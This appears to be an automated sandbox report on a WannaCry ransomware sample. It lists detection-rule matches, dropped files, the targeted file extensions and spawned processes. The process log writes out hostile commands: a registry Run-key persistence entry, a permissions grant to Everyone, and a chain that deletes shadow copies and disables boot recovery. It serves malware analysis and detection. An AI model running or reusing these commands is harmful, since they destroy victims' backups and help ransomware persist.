Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: Detects WannaCry Ransomware BATCH File Author: Florian Roth
Source: C:\Users\user\Desktop\u.wnry, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
Source: C:\Users\user\Desktop\WannaCry.bin, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: C:\Users\user\Desktop\WannaCry.bin, type: DROPPED	Matched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
Source: C:\Users\user\Desktop\WannaCry.bin, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry Author: ReversingLabs

Source: C:\Users\user\Desktop\WannaCry.exe

Process Stats: CPU usage > 24%

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\@WanaDecryptor@.exe B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25

Source: WannaCry.bin.11.dr	Static PE information: Resource name: XIA type: Zip archive data, at least v2.0 to extract, compression method=deflate
Source: taskdl.exe.15.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: libeay32.dll.79.dr	Static PE information: Number of sections : 18 > 10
Source: libssp-0.dll.79.dr	Static PE information: Number of sections : 17 > 10
Source: libevent_extra-2-0-5.dll.79.dr	Static PE information: Number of sections : 17 > 10
Source: ssleay32.dll.79.dr	Static PE information: Number of sections : 18 > 10
Source: libevent-2-0-5.dll.79.dr	Static PE information: Number of sections : 17 > 10
Source: libevent_core-2-0-5.dll.79.dr	Static PE information: Number of sections : 17 > 10
Source: libgcc_s_sjlj-1.dll.79.dr	Static PE information: Number of sections : 17 > 10

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "hdahtimfel691" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f

Source: WannaCry.bin, type: SAMPLE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: WannaCry.bin, type: SAMPLE	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: WannaCry.bin, type: SAMPLE	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 0000000F.00000000.1444934334.000000000040E000.00000008.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\AppData\Local\@Please_Read_Me@.txt, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Desktop\r.wnry, type: DROPPED	Matched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Desktop\7551728024260.bat, type: DROPPED	Matched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Users\user\Desktop\u.wnry, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: C:\Users\user\Desktop\WannaCry.bin, type: DROPPED	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: C:\Users\user\Desktop\WannaCry.bin, type: DROPPED	Matched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
Source: C:\Users\user\Desktop\WannaCry.bin, type: DROPPED	Matched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware

Source: WannaCry.exe, 0000000F.00000003.1474514530.00000000009A8000.00000004.00000020.00020000.00000000.sdmp, WannaCry.exe, 0000000F.00000003.1462016605.00000000009AB000.00000004.00000020.00020000.00000000.sdmp, WannaCry.exe, 0000000F.00000003.1524483850.00000000009C4000.00000004.00000020.00020000.00000000.sdmp, @WanaDecryptor@.exe, 0000004F.00000000.1576842950.000000000041F000.00000008.00000001.01000000.0000000B.sdmp	Binary or memory string: A.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docConnecting to server...s.wnry%08X.eky%08X.res00000000.resrb%08X.dky%08X.pkyConnectedSent requestSucceedReceived responseCongratulations! Your payment has been checked!
Source: WannaCry.exe, 0000000F.00000000.1444934334.000000000040E000.00000008.00000001.01000000.00000008.sdmp, WannaCry.bin	Binary or memory string: @.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docWANACRY!%s\%sCloseHandleDeleteFileWMoveFileExWMoveFileWReadFileWriteFileCreateFileWkernel32.dll

Source: classification engine

Classification label: mal100.rans.spyw.evad.winZIP@1855/1170@0/8

Source: C:\Program Files\7-Zip\7zG.exe

File created: C:\Users\user\Desktop\WannaCry.bin

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3132:120:WilError_03
Source: C:\Users\user\Desktop\WannaCry.exe	Mutant created: \Sessions\1\BaseNamedObjects\MsWinZonesCacheCounterMutexA
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6208:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3616:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6156:120:WilError_03
Source: C:\Users\user\Desktop\WannaCry.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\MsWinZonesCacheCounterMutexA0
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1488:120:WilError_03

Source: C:\Users\user\Desktop\WannaCry.exe

File created: C:\Users\All Users\Microsoft\Windows\WER\Temp\~SDF7F9.tmp

Jump to behavior

Source: C:\Users\user\Desktop\WannaCry.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 7551728024260.bat

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbs

Source: C:\Windows\SysWOW64\cscript.exe

File read: C:\Users\desktop.ini

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

Source: unknown	Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: unknown	Process created: C:\Program Files\7-Zip\7zG.exe "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\user\Desktop\" -an -ai#7zMap23742:84:7zEvent9207
Source: unknown	Process created: C:\Users\user\Desktop\WannaCry.exe "C:\Users\user\Desktop\WannaCry.exe"
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\attrib.exe attrib +h .
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /Q
Source: C:\Windows\SysWOW64\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\icacls.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\System32\backgroundTaskHost.exe "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppX4325622ft6437f3xfywcfxgbedfvpn0x.mca
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\System32\backgroundTaskHost.exe "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:CortanaUI.AppX3bn25b6f886wmg6twh46972vprk9tnbf.mca
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 7551728024260.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbs
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe co
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c start /b @WanaDecryptor@.exe vs
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "hdahtimfel691" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe vs
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "hdahtimfel691" /t REG_SZ /d "\"C:\Users\user\Desktop\tasksche.exe\"" /f
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\System32\consent.exe consent.exe 6008 686 000002152F62E5C0
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Users\user\Desktop\@WanaDecryptor@.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe
